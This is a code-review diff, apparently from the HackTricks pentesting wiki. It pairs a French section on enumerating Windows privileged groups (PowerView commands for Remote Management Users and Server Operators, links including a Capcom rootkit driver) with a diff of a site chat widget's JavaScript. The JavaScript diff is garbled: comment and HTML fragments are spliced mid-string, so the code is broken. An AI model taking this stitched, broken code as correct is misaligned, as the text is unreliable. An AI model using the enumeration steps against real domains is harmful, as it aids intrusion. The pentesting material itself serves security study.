Des informations supplémentaires sur l'exploitation de RDP peuvent être trouvées dans des ressources de pentesting dédiées.
|
||||
Des informations complémentaires sur l'exploitation de RDP se trouvent dans des ressources dédiées au pentesting.
|
||||
|
||||
#### Utilisateurs de gestion à distance
|
||||
|
||||
Les membres peuvent accéder aux PC via **Windows Remote Management (WinRM)**. L'énumération de ces membres est réalisée par :
|
||||
Les membres peuvent accéder aux PC via **Windows Remote Management (WinRM)**. L'énumération de ces membres peut s'effectuer via :
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||
```
|
||||
Pour les techniques d'exploitation liées à **WinRM**, une documentation spécifique doit être consultée.
|
||||
|
||||
#### Opérateurs de serveur
|
||||
#### Opérateurs de serveurs
|
||||
|
||||
Ce groupe a des permissions pour effectuer diverses configurations sur les contrôleurs de domaine, y compris des privilèges de sauvegarde et de restauration, le changement de l'heure système et l'arrêt du système. Pour énumérer les membres, la commande fournie est :
|
||||
Ce groupe a les permissions pour effectuer diverses configurations sur les contrôleurs de domaine, y compris les privilèges de sauvegarde et de restauration, la modification de l'heure système et l'arrêt du système. Pour énumérer les membres, la commande fournie est :
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
```
|
||||
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
||||
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
60
theme/ai.js
60
theme/ai.js
@ -5,7 +5,10 @@
|
||||
|
||||
(() => {
|
||||
const KEY = 'htSummerDiscountsDismissed';
|
||||
const IMG = '/images/discount.jpeg';
|
||||
const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar
|
||||
* ---------------------------------------------------
|
||||
* ❶ Markdown rendering + sanitised (same as before)
|
||||
* ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg';
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
@ -13,7 +16,20 @@
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
|
||||
<div id="ht-ai-header">
|
||||
<strong>HackTricks AI Chat</strong>
|
||||
<span style="font-size:11px;opacity:0.6;margin-left:8px;">↔ Drag edge to resize</span>
|
||||
<div class="ht-actions">
|
||||
<button id="ht-ai-reset" title="Reset">↺</button>
|
||||
<span id="ht-ai-close" title="Close">✖</span>
|
||||
</div>
|
||||
</div>
|
||||
<div id="ht-ai-chat"></div>
|
||||
<div id="ht-ai-input">
|
||||
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
|
||||
<button id="ht-ai-send">Send</button>
|
||||
</div>`;tag), { style: css });
|
||||
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
@ -111,7 +127,7 @@
|
||||
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
||||
const MAX_QUESTION = 500; // question char limit
|
||||
const MIN_W = 250; // ← resize limits →
|
||||
const MAX_W = 600;
|
||||
const MAX_W = 800;
|
||||
const DEF_W = 350; // default width (if nothing saved)
|
||||
const TOOLTIP_TEXT =
|
||||
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
||||
@ -345,8 +361,9 @@
|
||||
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
||||
#ht-ai-panel.open{transform:translateX(0)}
|
||||
@media(max-width:768px){#ht-ai-panel{display:none}}
|
||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
|
||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
|
||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
|
||||
#ht-ai-header strong{flex-shrink:0}
|
||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
|
||||
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
||||
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
||||
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
||||
@ -367,8 +384,10 @@
|
||||
::selection{background:#ffeb3b;color:#000}
|
||||
::-moz-selection{background:#ffeb3b;color:#000}
|
||||
/* NEW: resizer handle */
|
||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
|
||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
|
||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
|
||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
|
||||
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
|
||||
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
|
||||
const s = document.createElement("style");
|
||||
s.id = "ht-ai-style";
|
||||
s.textContent = css;
|
||||
@ -432,24 +451,43 @@
|
||||
|
||||
const onMove = (e) => {
|
||||
if (!dragging) return;
|
||||
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
|
||||
e.preventDefault();
|
||||
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||
const dx = startX - clientX; // dragging leftwards ⇒ +dx
|
||||
let newW = startW + dx;
|
||||
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
||||
panel.style.width = newW + "px";
|
||||
};
|
||||
|
||||
const onUp = () => {
|
||||
if (!dragging) return;
|
||||
dragging = false;
|
||||
handle.style.background = "";
|
||||
document.body.style.userSelect = "";
|
||||
document.body.style.cursor = "";
|
||||
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
||||
document.removeEventListener("mousemove", onMove);
|
||||
document.removeEventListener("mouseup", onUp);
|
||||
document.removeEventListener("touchmove", onMove);
|
||||
document.removeEventListener("touchend", onUp);
|
||||
};
|
||||
handle.addEventListener("mousedown", (e) => {
|
||||
|
||||
const onStart = (e) => {
|
||||
e.preventDefault();
|
||||
dragging = true;
|
||||
startX = e.clientX;
|
||||
startX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
||||
handle.style.background = "rgba(255,255,255,.25)";
|
||||
document.body.style.userSelect = "none";
|
||||
document.body.style.cursor = "ew-resize";
|
||||
|
||||
document.addEventListener("mousemove", onMove);
|
||||
document.addEventListener("mouseup", onUp);
|
||||
});
|
||||
document.addEventListener("touchmove", onMove, { passive: false });
|
||||
document.addEventListener("touchend", onUp);
|
||||
};
|
||||
|
||||
handle.addEventListener("mousedown", onStart);
|
||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||
}
|
||||
})();
|
||||
|
Loading…
x
Reference in New Issue
Block a user